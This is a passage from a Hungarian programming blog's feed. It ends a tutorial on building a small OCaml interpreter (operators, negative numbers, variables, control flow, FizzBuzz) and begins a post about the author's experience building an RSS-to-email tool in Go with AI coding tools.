  | <span class="hljs-type">ELtEq</span> (l, r)    -&gt; eval_comparison ( &lt;= ) l r
  | <span class="hljs-type">EEq</span> (l, r)      -&gt; eval_comparison ( = ) l r
  | <span class="hljs-type">ENotEq</span> (l, r)   -&gt; eval_comparison ( &lt;&gt; ) l r
  | <span class="hljs-type">EAdd</span> (l, r)     -&gt; eval_arithmetic ( +. ) l r
  | <span class="hljs-type">ESub</span> (l, r)     -&gt; eval_arithmetic ( -. ) l r
  | <span class="hljs-type">EMul</span> (l, r)     -&gt; eval_arithmetic ( *. ) l r
  | <span class="hljs-type">EDiv</span> (l, r)     -&gt; eval_arithmetic ( /. ) l r
  | <span class="hljs-type">EMod</span> (l, r)     -&gt;
    (<span class="hljs-keyword">match</span> eval l, eval r <span class="hljs-keyword">with</span>
    | <span class="hljs-type">VNumber</span> a, <span class="hljs-type">VNumber</span> b -&gt; <span class="hljs-type">VNumber</span> (float_of_int (int_of_float a <span class="hljs-keyword">mod</span> int_of_float b))
    | _ -&gt; raise (<span class="hljs-type">RuntimeError</span> <span class="hljs-string">"Invalid type"</span>))
</code></pre>
<p>A bináris és/vagy operátorokat is kiemeltem egy kis segéd függvénybe, ahogy az új operátorok elkészültek. A függvény neve utáni első paraméter az operátor zárójelben, amit így át lehet passzolni, mint bármilyen más függvényt. Az aritmetikai operátorok egy kicsit furák, mivel az OCaml-nek külön operátorai vannak float-ok között végzett műveletekre.</p>
<p>A maradék operátor egy kicsit kilóg a sorból, mivel nincs értelmezve float típusra, így először át kell konvertálnunk mindent int-re, majd az eredményt vissza float-ra, mivel a mi nyelvünk egyetlen szám típusa float a motorháztető alatt.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> eval_bool_arithmetic op l r =
  <span class="hljs-keyword">match</span> eval l, eval r <span class="hljs-keyword">with</span>
  | <span class="hljs-type">VBool</span> a, <span class="hljs-type">VBool</span> b -&gt; <span class="hljs-type">VBool</span> (op a b)
  | _ -&gt; raise (<span class="hljs-type">RuntimeError</span> <span class="hljs-string">"Invalid type"</span>)

<span class="hljs-keyword">and</span> eval_comparison op l r =
  <span class="hljs-keyword">match</span> eval l, eval r <span class="hljs-keyword">with</span>
  | <span class="hljs-type">VNumber</span> a, <span class="hljs-type">VNumber</span> b -&gt; <span class="hljs-type">VBool</span> (op a b)
  | _ -&gt; raise (<span class="hljs-type">RuntimeError</span> <span class="hljs-string">"Invalid type"</span>)

<span class="hljs-keyword">and</span> eval_arithmetic op l r =
  <span class="hljs-keyword">match</span> eval l, eval r <span class="hljs-keyword">with</span>
  | <span class="hljs-type">VNumber</span> a, <span class="hljs-type">VNumber</span> b -&gt; <span class="hljs-type">VNumber</span> (op a b)
  | _ -&gt; raise (<span class="hljs-type">RuntimeError</span> <span class="hljs-string">"Invalid type"</span>)
</code></pre>
<p>Maguk a segéd függvények nagyon hasonlítanak egymásra, csak az változik, hogy milyen típusokon hajlandóak dolgozni és annak milyen típus lesz az eredménye.</p>
<p>Egy dinamikusan típusos nyelvben ilyen helyeken születnek meg azok a szabályok, ami alapján a típus rendszer működik. Például az <code>eval_bool_arithmetic</code> elfogadhatna mindkét oldalon <code>VNumber</code>-t is és hozhatna egy szabályt, hogy a <code>0</code> az <code>false</code>, minden más <code>true</code>.</p>
<p>Apró érdekesség itt még, hogy az <code>==</code> és <code>&lt;&gt;</code> jelenleg csak számokra működik, nem tudjuk azt lefuttatni, hogy <code>print(true == true)</code>, a többi összehasonlító operátornak viszont nem feltétlenül van értelme boolean értékek esetén (bár ha a <code>false</code> az <code>0</code>, a <code>true</code> pedig <code>1</code>, akkor értelmezhetőek azok is). További döntések, amiket a világ alkotóiként meghozhatunk.</p>
<p>És ezzel sikeresen be is vezettünk egy új típust a programozási nyelvünkbe. Ha lefuttatjuk mondjuk a</p>
<pre><code class="hljs python">print(<span class="hljs-number">1</span> + <span class="hljs-number">1</span> * <span class="hljs-number">2</span> - <span class="hljs-number">8</span> &lt; <span class="hljs-number">3</span> <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> <span class="hljs-number">15</span> / <span class="hljs-number">5</span> &gt; <span class="hljs-number">7</span> - <span class="hljs-number">1</span> + <span class="hljs-number">2</span> - <span class="hljs-number">3</span>)
</code></pre>
<p>programot, akkor a következő kimenetet kapjuk:</p>
<pre class="console"><code>$ ocaml main.ml
true
</code></pre>
<p>De mi történik akkor, ha azt a programot futtatjuk le, hogy <code>print(-6 &lt; 0)</code>?</p>
<pre class="console"><code>$ ocaml main.ml
Parse error: Unexpected token 'TMinus'
</code></pre>
<p>Ó, jaj! Nem támogatjuk a forráskódban a negatív számokat.</p>
<p>Mint mindenre, erre is többféle megoldás létezik. Kezelhetjük szimplán a negatív számokat (<code>-</code> után számnak kell következnie) vagy lehet a <code>-</code> egyszerre egy és két változós operátor is (az <code>ESub</code> mellett mondjuk egy <code>ENeg</code>), így írhatunk mondjuk olyat, hogy <code>-(6 - 5)</code>. Én az előbbivel mentem, de érdemes megpróbálni leimplementálni a második változatot is a gyakorlás kedvéért.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_primary ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">TMinus</span> -&gt;
    ignore (consume ps);
    (<span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
    | <span class="hljs-type">TNumber</span> n -&gt; ignore (consume ps); <span class="hljs-type">ENumber</span> (-<span class="hljs-number">1.</span> *. n)
    | t -&gt; raise (<span class="hljs-type">ParseError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected token '%s'"</span> (show_token t))))
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>Talán az egyetlen meglepő rész az a <code>(-1. *. n)</code>, ami a korábban már említett fura viszony eredménye az OCaml és a float között.</p>
<p>Újra megfuttatva a <code>print(-6 &lt; 0)</code> programot már a helyes megoldást kapjuk:</p>
<pre class="console"><code>$ ocaml main.ml
true
</code></pre>
<p>Ennek a lépésnek a <a href="https://github.com/deadlime/the-recursive-descent/compare/bracketing..numbers">módosításai megtekinthetőek itt</a>.</p>
<p>Most, hogy már vannak boolean és szám értékeink is, jó lenne őket eltárolni valahol. Itt az ideje a változók bevezetésének.</p>
<p><a name="9"></a></p>
<h3>Változók</h3>
<p>A lexikai és szintaktikai elemzés oldalán nem lesznek nagy meglepetések, de a kiértékelés egy kicsit bonyolódni fog. Kezdjük is a szokásos tokeneknél:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> token =
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">TEqual</span>
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>A lexer-ben már megágyaztunk neki, amikor az <code>==</code> operátort felvettük, csak a hibaüzenetet kell kicserélni az új működésre.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">match</span> current_char ls <span class="hljs-keyword">with</span>
<span class="hljs-comment">(* ... *)</span>
| <span class="hljs-string">'='</span> -&gt;
  step ls;
  (<span class="hljs-keyword">match</span> current_char ls <span class="hljs-keyword">with</span>
  | <span class="hljs-string">'='</span> -&gt; step ls; loop (<span class="hljs-type">TEq</span> :: tokens)
  | _   -&gt; loop (<span class="hljs-type">TEqual</span> :: tokens))
<span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>A szintaxis fa kap egy új kifejezést a változókhoz és egy új utasítást az értékadáshoz.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> expr =
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">EVar</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">string</span>

<span class="hljs-keyword">type</span> stmt =
  | <span class="hljs-type">SPrint</span> <span class="hljs-keyword">of</span> expr
  | <span class="hljs-type">SAssign</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">string</span> * expr
</code></pre>
<p>Az egyszerű értékek kezelése során minden ismeretlen azonosítót változóként fogunk kezelni, majd a kiértékelés eldönti, hogy tényleg létezik-e.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_primary ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">TIdentifier</span> i -&gt; ignore (consume ps); <span class="hljs-type">EVar</span> i
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>Az utasításoknál pedig ha valami azonosítóval kezdődik, akkor arra számítunk, hogy az egy értékadás lesz.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_stmt ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">TIdentifier</span> t -&gt;
    ignore (consume ps);
    expect ps <span class="hljs-type">TEqual</span>;
    <span class="hljs-type">SAssign</span> (t, parse_expr ps)
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>Rá is térhetünk az izgalmas részre, a kiértékelésre. A kód futtatása során valahol tárolnunk kell, hogy melyik változónak mi az értéke.</p>
<p>Egy komolyabb programozási nyelvben ez egy bonyolultabb kérdés lenne, mivel kezelnünk kellene a változók hatáskörét is, de a mi kis nyelvünk még nem jutott el olyan érettségi szintre, hogy legyenek hatáskörök, így nekünk elég lesz egy hash-tábla a kulcs-értékek tárolására.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> make_env <span class="hljs-literal">()</span> = 
  <span class="hljs-type">Hashtbl</span>.create <span class="hljs-number">16</span>

<span class="hljs-keyword">let</span> set_env env name <span class="hljs-keyword">value</span> =
  <span class="hljs-type">Hashtbl</span>.replace env name <span class="hljs-keyword">value</span>

<span class="hljs-keyword">let</span> lookup_env env name =
  <span class="hljs-keyword">match</span> <span class="hljs-type">Hashtbl</span>.find_opt env name <span class="hljs-keyword">with</span>
  | <span class="hljs-type">Some</span> v -&gt; v
  | <span class="hljs-type">None</span> -&gt; raise (<span class="hljs-type">RuntimeError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Undefined variable: %s"</span> name))
</code></pre>
<p>A <code>make_env</code> csinál egy üres környezetet, a <code>set_env</code> segítségével beállíthatjuk egy változó értékét, a <code>lookup_env</code> pedig visszaadja ezt az értéket vagy elszáll hibával, ha nem létezik az adott nevű változó.</p>
<p>Az <code>eval</code> és <code>exec</code> részen elég nagy átalakításokra van szükség. Mindkét függvény meg kell, hogy kapja az <code>env</code> változót, amit az összes kapcsolódó hívásnál át kell passzolnunk.</p>
<p>Ezen kívül kezelnünk kell az új kifejezést, ami beolvassa a változó értékét.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> eval env expr =
  <span class="hljs-keyword">match</span> expr <span class="hljs-keyword">with</span>
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">EVar</span> v -&gt; lookup_env env v
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>Valamint az új utasítást is, ami beállítja egy változó értékét. A változó értéke itt lehet egy kifejezés is, úgyhogy azt előbb ki kell számolnunk.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> exec env stmt =
  <span class="hljs-keyword">match</span> stmt <span class="hljs-keyword">with</span>
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">SAssign</span> (name, <span class="hljs-keyword">value</span>) -&gt;
    set_env env name (eval env <span class="hljs-keyword">value</span>)
</code></pre>
<p>Az új <code>env</code> változó miatt minimális változások történtek a &quot;main&quot; függvényben is:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> tokens = tokenize src <span class="hljs-keyword">in</span>
<span class="hljs-keyword">let</span> stmts = parse_program tokens <span class="hljs-keyword">in</span>
<span class="hljs-keyword">let</span> env = make_env <span class="hljs-literal">()</span> <span class="hljs-keyword">in</span>
<span class="hljs-type">List</span>.iter (exec env) stmts
</code></pre>
<p>A kimenet pedig reményeink szerint a következő lesz:</p>
<pre class="console"><code>$ ocaml main.ml
5                                 
6
true
</code></pre>
<p>Ennek a lépésnek a <a href="https://github.com/deadlime/the-recursive-descent/compare/numbers..variables">módosításai megtekinthetőek itt</a>.</p>
<p>Alakul a nyelv, de valami még hiányzik... a hab a mi kis grammatikai tortánkra.</p>
<p><a name="10"></a></p>
<h3>Vezérlési szerkezetek</h3>
<p>Kezd nagyon hosszúra nyúlni ez a bejegyzés, de nem érezném igazi nyelvnek az alkotásunkat a jó öreg <code>if</code>, <code>elif</code>, <code>else</code> és <code>while</code> nélkül. Vegyük is fel hozzájuk az új tokeneket. A négy kulcsszó mellett a két kapcsos zárójel is újdonság lesz a nyelvben.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> token =
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">TIf</span>
  | <span class="hljs-type">TElseIf</span>
  | <span class="hljs-type">TElse</span>
  | <span class="hljs-type">TWhile</span>
  | <span class="hljs-type">TLeftCurlyBracket</span>
  | <span class="hljs-type">TRightCurlyBracket</span>
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>A <code>tokenize_name</code>-ben a szokott módon lekezeljük az új neveket.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">match</span> name <span class="hljs-keyword">with</span>
<span class="hljs-comment">(* ... *)</span>
| <span class="hljs-string">"if"</span>    -&gt; <span class="hljs-type">TIf</span>
| <span class="hljs-string">"elif"</span>  -&gt; <span class="hljs-type">TElseIf</span>
| <span class="hljs-string">"else"</span>  -&gt; <span class="hljs-type">TElse</span>
| <span class="hljs-string">"while"</span> -&gt; <span class="hljs-type">TWhile</span>
<span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>A <code>tokenize</code>-ban pedig az új zárójeleket.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">match</span> current_char ls <span class="hljs-keyword">with</span>
<span class="hljs-comment">(* ... *)</span>
| <span class="hljs-string">'{'</span> -&gt; step ls; loop (<span class="hljs-type">TLeftCurlyBracket</span> :: tokens)
| <span class="hljs-string">'}'</span> -&gt; step ls; loop (<span class="hljs-type">TRightCurlyBracket</span> :: tokens)
<span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>Az utasítások bővítése során belefutunk egy kis újdonságba, az <code>if</code> és a <code>while</code> is utasítások listáját kapja paraméterül.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> stmt =
  | <span class="hljs-type">SPrint</span> <span class="hljs-keyword">of</span> expr
  | <span class="hljs-type">SAssign</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">string</span> * expr
  | <span class="hljs-type">SIf</span> <span class="hljs-keyword">of</span> expr * stmt <span class="hljs-built_in">list</span> * stmt <span class="hljs-built_in">list</span>
  | <span class="hljs-type">SWhile</span> <span class="hljs-keyword">of</span> expr * stmt <span class="hljs-built_in">list</span>
</code></pre>
<p>És egyébként is, hol van az <code>elif</code> és az <code>else</code>? Hát, azok olyan dolgok, amiket csak szintaktikai cukornak szokás hívni. Kényelmi funkciók a nyelv felhasználóinak számára, amiknek a szintaxis fa szintjén már nem kell létezni. Az <code>SIf(feltétel, igaz utasítások, hamis utasítások)</code> egyedül le tud kezelni minden esetet:</p>
<ul>
<li>ha van <code>elif</code> ág, akkor a hamis utasítások egy egy elemű lista lesz, amiben egy újabb <code>SIf()</code> van</li>
<li>ha nincsen <code>else</code> ág, akkor az utolsó <code>SIf()</code> hamis utasításai egy üres lista lesz</li>
</ul>
<p>Az utasítások feldolgozásán egy kicsit módosítanunk kell, eddig <code>TEOF</code>-ig olvastuk be az utasításokat, de innentől lesznek olyan eseteink, amikor az utasítások a következő csukó kapcsos zárójelig tartanak.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> parse_stmts ps stop_token =
  <span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> loop stmts =
    skip_newlines ps;
    <span class="hljs-keyword">if</span> (peek ps) &lt;&gt; stop_token <span class="hljs-keyword">then</span>
      loop (parse_stmt ps :: stmts)
    <span class="hljs-keyword">else</span>
      stmts
  <span class="hljs-keyword">in</span>

  <span class="hljs-type">List</span>.rev (loop <span class="hljs-literal">[]</span>)
</code></pre>
<p>A <code>parse_program</code>-ot is hozzá kell igazítani a változáshoz:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> parse_program tokens =
  <span class="hljs-keyword">let</span> ps = make_parser tokens <span class="hljs-keyword">in</span>
  parse_stmts ps <span class="hljs-type">TEOF</span>
</code></pre>
<p>A <code>parse_stmt</code> egy gyanúsan rövid módosítással úszta meg a történetet:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_stmt ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TIf</span> -&gt;
    parse_if ps
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>Aztán persze jön a tényleges kód, ami az <code>if</code> ágat kezeli.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_if ps =
  ignore (consume ps);
  expect ps <span class="hljs-type">TLeftParen</span>;
  <span class="hljs-keyword">let</span> cond = parse_expr ps <span class="hljs-keyword">in</span>
  expect ps <span class="hljs-type">TRightParen</span>;

  expect ps <span class="hljs-type">TLeftCurlyBracket</span>;
  <span class="hljs-keyword">let</span> then_branch = parse_stmts ps <span class="hljs-type">TRightCurlyBracket</span> <span class="hljs-keyword">in</span>
  expect ps <span class="hljs-type">TRightCurlyBracket</span>;

  <span class="hljs-keyword">let</span> else_branch = parse_else ps <span class="hljs-keyword">in</span>

  <span class="hljs-type">SIf</span> (cond, then_branch, else_branch)
</code></pre>
<p>Először a feltételt olvassuk be, aminél számítunk arra, hogy <code>(</code> és <code>)</code> között van. Aztán az utasításokat, amik a feltétel teljesülése során futnak majd le, ezeknek <code>{</code> és <code>}</code> között kell lenniük. Az <code>else</code> ágát pedig egy másik függvény kezeli le.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_else ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TElseIf</span> -&gt;
    [ parse_if ps ]
  | <span class="hljs-type">TElse</span> -&gt;
    ignore (consume ps);
    expect ps <span class="hljs-type">TLeftCurlyBracket</span>;
    <span class="hljs-keyword">let</span> stmts = parse_stmts ps <span class="hljs-type">TRightCurlyBracket</span> <span class="hljs-keyword">in</span>
    expect ps <span class="hljs-type">TRightCurlyBracket</span>;
    stmts
  | _ -&gt; <span class="hljs-literal">[]</span>
</code></pre>
<p>Az <code>elif</code> ág kezelése visszahív a <code>parse_if</code>-re, de az eredményét egy listában adja vissza. Az <code>else</code> ág pedig feldolgozza az utasításokat, amik utána következnek.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_stmt ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">TWhile</span> -&gt;
    ignore (consume ps);
    expect ps <span class="hljs-type">TLeftParen</span>;
    <span class="hljs-keyword">let</span> cond = parse_expr ps <span class="hljs-keyword">in</span>
    expect ps <span class="hljs-type">TRightParen</span>;

    expect ps <span class="hljs-type">TLeftCurlyBracket</span>;
    <span class="hljs-keyword">let</span> stmts = parse_stmts ps <span class="hljs-type">TRightCurlyBracket</span> <span class="hljs-keyword">in</span>
    expect ps <span class="hljs-type">TRightCurlyBracket</span>;

    <span class="hljs-type">SWhile</span> (cond, stmts)
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>A <code>while</code> kezelése szinte azonos az <code>if</code>-fel, csak nincsen hozzá <code>else</code> ág.</p>
<p>Ezzel a feldolgozás végére is értünk, jöhet a kiértékelés. Először is kicsit átrendeztem az <code>exec</code> függvényt, hogy több utasítást várjon bemenetként és az eredeti <code>exec</code> tartalma átvándorolt az <code>exec_stmt</code>-be.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> exec env stmts =
  <span class="hljs-type">List</span>.iter (exec_stmt env) stmts

<span class="hljs-keyword">and</span> exec_stmt env stmt =
  <span class="hljs-keyword">match</span> stmt <span class="hljs-keyword">with</span>
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">SIf</span> (cond, then_branch, else_branch) -&gt;
    (<span class="hljs-keyword">match</span> eval env cond <span class="hljs-keyword">with</span>
    | <span class="hljs-type">VBool</span> <span class="hljs-literal">true</span>  -&gt; (exec env then_branch)
    | <span class="hljs-type">VBool</span> <span class="hljs-literal">false</span> -&gt; (exec env else_branch)
    | _ -&gt; raise (<span class="hljs-type">RuntimeError</span> <span class="hljs-string">"If condition must be a boolean"</span>))
  | <span class="hljs-type">SWhile</span> (cond, stmts) -&gt;
    <span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> loop <span class="hljs-literal">()</span> =
      <span class="hljs-keyword">match</span> eval env cond <span class="hljs-keyword">with</span>
      | <span class="hljs-type">VBool</span> <span class="hljs-literal">true</span> -&gt;
        exec env stmts;
        loop <span class="hljs-literal">()</span>
      | <span class="hljs-type">VBool</span> <span class="hljs-literal">false</span> -&gt; <span class="hljs-literal">()</span>
      | _ -&gt; raise (<span class="hljs-type">RuntimeError</span> <span class="hljs-string">"While condition must be a boolean"</span>)
    <span class="hljs-keyword">in</span>
    loop <span class="hljs-literal">()</span>
</code></pre>
<p>Ezt a módosítást rögtön használja is az <code>SIf</code> és az <code>SWhile</code> kezelése. Az <code>SIf</code>-nél mintaillesztéssel döntjük el, hogy melyik ág utasításait futtassuk le. Az <code>SWhile</code>-nál pedig rekurzióval futtatjuk meg a kapcsolódó utasításokat, amíg a feltétel hamis nem lesz.</p>
<p>A &quot;main&quot; függvényben csak az <code>exec</code> használatát kell kijavítanunk.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> tokens = tokenize src <span class="hljs-keyword">in</span>
<span class="hljs-keyword">let</span> stmts = parse_program tokens <span class="hljs-keyword">in</span>
<span class="hljs-keyword">let</span> env = make_env <span class="hljs-literal">()</span> <span class="hljs-keyword">in</span>
exec env stmts
</code></pre>
<p>Aztán futtathatunk valamit, ami végre igazi kódnak néz ki:</p>
<pre><code class="hljs javascript">fizzbuzz = <span class="hljs-number">-15</span>
fizz = <span class="hljs-number">-3</span>
buzz = <span class="hljs-number">-5</span>
i = <span class="hljs-number">1</span>
<span class="hljs-keyword">while</span> (i &lt;= <span class="hljs-number">15</span>) {
  <span class="hljs-keyword">if</span> (i % <span class="hljs-number">15</span> == <span class="hljs-number">0</span>) {
    print(fizzbuzz)
  } elif (i % <span class="hljs-number">3</span> == <span class="hljs-number">0</span>) {
    print(fizz)
  } elif (i % <span class="hljs-number">5</span> == <span class="hljs-number">0</span>) {
    print(buzz)
  } <span class="hljs-keyword">else</span> {
    print(i)
  }
  i = i + <span class="hljs-number">1</span>
}
</code></pre>
<p>Sajnos nem léteznek a stringek a mi kis világunkban, úgyhogy csak így lehetett megoldani, de a kimenet így is magáért beszél. <a href="https://github.com/EnterpriseQualityCoding/FizzBuzzEnterpriseEdition">Vállalati szintű problémákat</a> oldunk meg egyszerű eleganciával.</p>
<pre class="console"><code>$ ocaml main.ml
1
2
-3
4
-5
-3
7
8
-3
-5
11
-3
13
14
-15
</code></pre>
<p>Ennek a lépésnek a <a href="https://github.com/deadlime/the-recursive-descent/compare/variables..control-flow">módosításai megtekinthetőek itt</a>.</p>
<p><a name="11"></a></p>
<h3>Itt a vég</h3>
<p>Ide is eljutottunk hát. <em>&quot;A gép forog, az alkotó pihen.&quot;</em> Messze a leghosszabb írás, ami eddig a blogon megjelent. Gratulálok mindenkinek, akinek sikerült eljutnia idáig. Remélem okoztam néhány éjszakába nyúló programozós estét.</p>
<p>És a <a href="https://github.com/deadlime/the-recursive-descent/blob/main/main.ml">végeredmény</a>? Alig 500 sorban írtunk valamit, ami programozási nyelvnek nevezhető (még ha elég korlátolt is). Engem meglepett a végén, hogy milyen rövidre sikeredett.</p>
<p>Számtalan bővítési lehetőség és a hozzá tartozó kihívások rejlenek még ebben a projektben, de egy jó alapot sikerült összerakni a további kísérletezgetéshez. Csak hogy néhány logikus következő lépést említsek:</p>
<ul>
<li>a hibakezelés kibővítése (<code>ParseError</code> és <code>RuntimeError</code> esetén is lehessen tudni, hogy hol volt a hiba az eredeti forráskódban)</li>
<li>rövidzár-kiértékelés boolean kifejezéseknél (ha <code>a and b</code> esetén <code>a</code> false-ra értékelődik ki, akkor nem kell <code>b</code>-t kiértékelni)</li>
<li>függvények (és a velük jövő probléma a változók hatásköreivel)</li>
<li>string típus és a hozzá tartozó operátorok, függvények/utasítások</li>
<li>listák és asszociatív tömbök</li>
</ul>
<p>Én viszont zárom soraimat, köszönöm a figyelmet.</p>
<p><code>TEOF</code></p>

]]></content:encoded>
        </item>
            <item>
            <title>28 hónappal később</title>
            <link>https://deadlime.hu/2026/04/13/28-honappal-kesobb/</link>
            <pubDate>Mon, 13 Apr 2026 15:42:46 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[AI]]></category>
                    <category><![CDATA[programozás]]></category>
                    
            <guid isPermaLink="false">0baa2bd579dc030df4b565f34446bd22</guid>
            <description>Újabb kalandok az AI-támogatott kódolás területén</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/ai_v2.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">Az eredeti kép ChatGPT-vel felfrissített változata</p>

<p>Valójában 36 hónappal később, de nem tudtam kihagyni a gyenge <a href="https://hu.wikipedia.org/wiki/28_nappal_k%C3%A9s%C5%91bb">filmes</a> <a href="https://hu.wikipedia.org/wiki/28_h%C3%A9ttel_k%C3%A9s%C5%91bb">utalást</a>. Szóval három évvel ezelőtt megpróbáltam egy <a href="https://deadlime.hu/2023/04/06/ezt-dobta-a-gep/">hobbi projekt ötletet kigeneráltatni AI segítségével</a>. A kísérlet nagyjából sikerrel zárult, végül mégsem született olyan kód, amit szívesen futtatnék élesben. Innen nézve a dolgot úgy tűnik mégsem lett kész ezt a projekt. Három év pedig hosszú idő, biztos sokat fejlődött ez idő alatt a technológia, lehet érdemes újra megpróbálni.</p>
<p>A projektről röviden annyit érdemes tudni, hogy RSS feed-eket olvas periodikusan és az ott talált feed elemekből email-eket generál, amiket IMAP-on keresztül tölt fel egy email fiókba.</p>
<h3>Első nekifutás</h3>
<p>Bár manapság már egyre kevésbé népszerű ez a hozzáállás, de én még szeretem érteni a &quot;saját&quot; kódomat, ami készül. Ennek tükrében úgy indítottam a projektet, hogy én írom a kódot, az AI pedig megtanít engem, hogy hogyan kell Go-ban fejleszteni.</p>
<p>Lehetőség szerint minél kevesebb külső függőséget szerettem volna használni, hogy elsősorban a nyelvvel és a hozzá járó standard könyvtárral ismerkedjek meg. Nyilván egy SQLite könyvtárat nem fogok újra leimplementálni, de például a megálmodott pipeline-jellegű architektúrához használhattam volna kész megoldásokat, de inkább megpróbáltam a Go channel-ek, context-ek és a párhuzamos futtatás világában jobban elmélyülni.</p>
<p>Ez egy olyan terep, ahol a hozzá nem értő ember (én) könnyen lábon tudja lőni magát és az AI (a maga lelkesedésével) ebben még segítségünkre is siet. Ha egyedül is jól bele tudsz zavarodni dolgokba, akkor AI segítségével kétszer annyira összezavarjátok majd egymást. Az AI elbizonytalanít téged, te minden egyes rezdüléseddel befolyásolod az AI-t és a végén inkább keresel valami segédanyagot, amit az AI-boom előtt még egy ember írt.</p>
<p>Ahogy az lenni szokott egy idő után beleuntam az oktatós projektbe és parkolópályára került az egész. Nagyjából addig sikerült eljutni, hogy volt egy működő prototípus és kb. a pipeline fele létezett már &quot;production ready&quot; állapotban.</p>
<h3>Második nekifutás</h3>
<p>Később, mikor újra felvettem a fonalat, kicsit máshogy álltam a dologhoz. Már nem akartam tanulni, csak be akartam fejezni a projektet. Nem azért, mert szükségem volt a működő programra, inkább csak úgy éreztem, hogy úgy kaphatok egy jobb képet az eszközökről, ha végigvittem vele egy projektet.</p>
<p>Az eszköztárat ehhez igazítva Claude Code-dal mentem tovább, de nem a manapság divatos &quot;eresszünk rá 30 agent-et a problémára és majd meglátjuk mire jutnak&quot; hozzáállással. Az első körös nekifutás egy elég jó alapot adott ahhoz, hogy kis lépésekben tudjunk haladni. Minden lépést felügyeltem és szükség esetén korrigáltam, de kézzel nem végeztem lényegi módosításokat a projekten. Egészen a legvégéig meg sem próbáltam lefuttatni.</p>
<p>Nagyjából fél nap és 35 dollár elégetése után lett egy késznek mondható szoftverem. Mivel nem vagyok Go fejlesztő, így sajnos azt nem tudom hitelesen megítélni, hogy mennyire elegáns vagy épp mennyire felel meg a nyelv adottságainak az elkészült mű. Talán ez már nem is annyira lényeges, lehet, hogy az embereknek abba kell hagyni a kód olvasgatását.</p>
<p>Az end-to-end tesztek még kihoztak pár potenciális problémát (főleg a párhuzamosság környékén), a próbafuttatás valódi feed adatokkal pedig aztán még néhányat (túl megengedő reguláris kifejezések, nem megfelelő enkódolások), de semmi eget rengető.</p>
<p>A végén még kézzel megírtam a <code>.gitlab-ci.yml</code>-t a GitLab CI-hez és a <code>Dockerfile</code>-t az élesben futtatáshoz, mert úgy éreztem az gyorsabb lesz, mint szócsatázni az AI-jal.</p>
<h3>Tapasztalatok</h3>
<h4>A kimenet</h4>
